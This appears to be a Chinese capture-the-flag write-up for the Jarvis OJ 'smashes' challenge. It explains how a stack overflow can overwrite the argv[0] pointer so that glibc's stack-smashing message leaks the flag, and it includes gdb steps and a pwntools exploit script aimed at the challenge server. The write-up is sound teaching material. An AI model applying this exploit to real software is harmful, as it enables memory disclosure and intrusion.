jarvis oj smashes

checksec发现开启了nx和canary。ida打开发现输入name时存在栈溢出,缓冲区大小0x108,同时发现存在"PCTF{Here’s the flag on server}"字符串,不过第二次输入的时候会覆盖。当检测到修改了canary时会返回'*** stack smashing detected ***: /home/ctf/smashes terminated\n'
此处“/home/ctf/smashes”是文件名,也抱存在栈上,即args[0],同时指向它的指针也在栈上。想法是覆盖指向args[0]的指针,使之指向flag,这样返回的错误信息就包含了flag。
但是输入的时候flag会被修改,其实当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份。

先gdb调试,在_stack_chk_fail下断,输入超长的字符串,程序断下,搜索:find PCTF,找到0x400d20 ("PCTF{Here's the flag on server}"),原本是在0x600d20,那处已经被修改了。然后再找指向args[0]的指针,搜索:find /home/ctf/smashes,发现了两处,再搜索指向这两处的指针,找到两个。
jarvis oj smashes
接着搜索输入的字符串:find ddddddddd,同样是两处,找距离指针最近的。
jarvis oj smashes脚本如下:

from pwn import *
context.log_level="debug"
r=remote('pwn.jarvisoj.com',9877)
r.recvuntil('What\'s your name?')
pay='a'*(0xdf68-0xdd50)+p64(0x400d20)
r.sendline(pay)
r.recvuntil('Please overwrite the flag:')
r.sendline('a')
q=r.recvall()

新版本libc不会显示文件名,但还是会把文件名保存在栈上。